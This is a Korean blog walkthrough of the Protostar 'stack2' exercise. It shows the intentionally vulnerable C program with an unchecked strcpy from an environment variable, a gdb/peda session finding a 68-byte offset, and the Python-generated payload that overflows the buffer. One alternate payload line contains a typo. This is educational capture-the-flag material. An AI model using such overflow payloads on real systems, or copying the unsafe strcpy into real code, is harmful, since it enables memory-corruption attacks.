프로토스타

[프로토스타] stack2

-dP- 2019. 1. 9. 13:02

stack2.c


#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

#include <string.h>


int main(int argc, char **argv)

{

  volatile int modified;

  char buffer[64];

  char *variable;


  variable = getenv("GREENIE");


  if(variable == NULL) {

      errx(1, "please set the GREENIE environment variable\n");

  }


  modified = 0;


  strcpy(buffer, variable);


  if(modified == 0x0d0a0d0a) {

      printf("you have correctly modified the variable\n");

  } else {

      printf("Try again, you got 0x%08x\n", modified);

  }


}



출처: http://liveoverflow.com/binary_hacking/protostar/stack2.html



1. 해결



1-1. stack2.c 저장 및 peda 설치






git clone https://github.com/longld/peda.git ~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

echo "DONE! debug your program with gdb and enjoy"



출처 : https://github.com/longld/peda


콘솔 창에 복사/붙여넣기 하기



1-2. stack2 컴파일 및 환경변수 설정




gcc -z execstack -w -no-pie -o stack2 stack2.c


./stack2 실행해보면 환경변수가 설정돼 있지 않다.


export GREENIE='AAAAAAAAAAAAAAAAAAA' 대충 넣고 다시 실행하면


환경변수가 설정 되었다는 것을 알 수 있다.



1.3. 문제 해결




export GREENIE=$(python -c "print 'A'*68 + '\x0a\x0d\x0a\x0d'")



2. 분석



2-1. gdb로 분석


 



환경변수 위치를 알아야 한다.

cmp 위치에 브레이크 포인트를 걸어주고 실행한다.


b *main+89

r




Peda에서는 레지스터, 코드, 스택 정보를 한 눈에 볼 수 있다.


stack0,, stack1에서 하던 것처럼 위치를 알아보면 0x50 - 0xc임을 알 수 있다.


0x50 - 0xc = 0x44


0x44는 십진수로 68이다. (첫 번째 방법)




다른 방법으로는 Peda를 이용하는 것이다.


pattern create 100(gdb ./stack2 한 상태로) 하면 임의의 문자들이 100개가 나온다.


복사를 하여 quit






export GREENIE='AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'


한 후,


gdb ./stack2로 다시 gdb를 연다.





gdb를 열어서 앞서 했던 방식과 동일하게


disas main


b *main + 89


r


을 하게 되면 위와 같이 뜰 것이다.


2-2. 위치 알기


그럼 RAX에 있는 값을 복사하여



pattern offset (복사한 값)을 넣어주면 위치가 등장할 것이다.


첫 번째 방법으로 구한 값과 동일한 68이다.


이제 환경변수 설정을 다시해보자.


export GREENIE=$(python -c "print 'A'*68 + '\x0a\x0d' * 2") 혹은

export GREENIE=$(python -c "print 'A'*68 + '\x0a\x0d\x0a\0d'") 하면 된다.


2-3. 레지스터값 확인




RAX에 우리가 원하는 0x0d0a0d0a가 들어있음을 확인할 수 있다.





'프로토스타' 카테고리의 다른 글

[프로토스타] stack5-1 (스택 접근)  (0) 2019.01.10
[프로토스타] stack4  (0) 2019.01.09
[프로토스타] stack3  (0) 2019.01.09
[프로토스타] stack1  (0) 2019.01.08
[프로토스타] stack0  (0) 2019.01.04